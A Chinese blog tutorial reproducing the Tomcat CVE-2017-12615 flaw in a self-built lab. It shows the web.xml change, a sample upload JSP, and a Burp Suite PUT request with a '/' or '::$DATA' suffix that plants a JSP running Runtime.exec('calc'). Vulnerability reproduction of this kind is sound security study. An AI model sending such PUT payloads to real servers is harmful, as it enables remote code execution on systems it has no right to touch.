- 0.环境装备
- 1.修改web.xml
- 2.创建一个可上传文件的jsp
- 3.启动
- 打开Burp Suite
- 随便选择一个文件并提交
- 拦截到流量
- 4.关键一步
0.环境装备前言:CVE-2017-12615是一个比较老的漏洞,出现在tomcat7.0.0 - 7.0.81的版本,攻击者可以任意运行远程恶意代码,网上也有很多相关资料,到复现流程都不是很完整,本文重点从环境入手,复现该漏洞。
- JDK1.8运行环境(https://www.oracle.com/java/technologies/javase/javase8u211-later-archive-downloads.html)
- tomcat7.0.81(https://archive.apache.org/dist/tomcat/tomcat-7/)
- Burp Suite,企业版收费,使用社区版即可(https://portswigger.net/burp/communitydownload)
- 一个简单的可运行jsp的maven项目
进入tomcat下的conf目录,打开web.xml找到
default org.apache.catalina.servlets.DefaultServlet debug 0 listings false 1
servlet标签下添加
2.创建一个可上传文件的jspreadonly false
本文使用的是commons-fileupload工具类做上传操作,当然也可以自己写。
pom.xml
commons-fileupload commons-fileupload 1.3.1
编写file-upload2.html、file-upload2.jsp,并添加到maven项目中
File upload
jsp:
<%@ page import="org.apache.commons.fileupload.FileItemIterator" %>
<%@ page import="org.apache.commons.fileupload.FileItemStream" %>
<%@ page import="org.apache.commons.fileupload.FileUploadException" %>
<%@ page import="org.apache.commons.fileupload.servlet.ServletFileUpload" %>
<%@ page import="org.apache.commons.fileupload.util.Streams" %>
<%@ page import="java.io.IOException" %>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%
if (ServletFileUpload.isMultipartContent(request)) {
ServletFileUpload fileUpload = new ServletFileUpload();
try {
FileItemIterator fileItemIterator = fileUpload.getItemIterator(request);
while (fileItemIterator.hasNext()) {
FileItemStream fileItemStream = fileItemIterator.next();
String fieldName = fileItemStream.getFieldName();// 字段名称
if (fileItemStream.isFormField()) {
String fieldValue = Streams.asString(fileItemStream.openStream());// 字段值
out.println(fieldName + "=" + fieldValue);
} else {
out.println(fieldName + "=" + fileItemStream.getName());
}
}
} catch (FileUploadException e) {
e.printStackTrace();
} catch (IOException e) {
e.printStackTrace();
}
}
%>
3.启动
打开Burp Suite
- 进入proxy页面
我比较喜欢用自带的浏览器,不需要做代理设置,而且是google的内核,功能齐全。
打开Intercept,拦截jsp访问流量
- 为了可以复用,我们点右键,选择【send to repeater】
2 将POST改为PUT,jsp后添加【/】或者【::$DATA】,删除body,改为
<% out.println("hello");%>
<%Runtime.getRuntime().exec("calc");%>
如图
点击【send】
此时返回的是204,则恶意代码注入成功
将路径【/】删除,恢复正常路径,再次【send】
见证奇迹的时刻,每次请求jsp的时候,可以看到打印出hello字样,并且打开了计算器,大功告成!
如有其他问题可联系作者:
手机、微信:15385125253
QQ:987319557
公司名称:开源互联网安全技术有限公司
捍卫中国软件安全!
原创作者:谢少评
原创不易,一份也是爱:
微信: 支付宝:



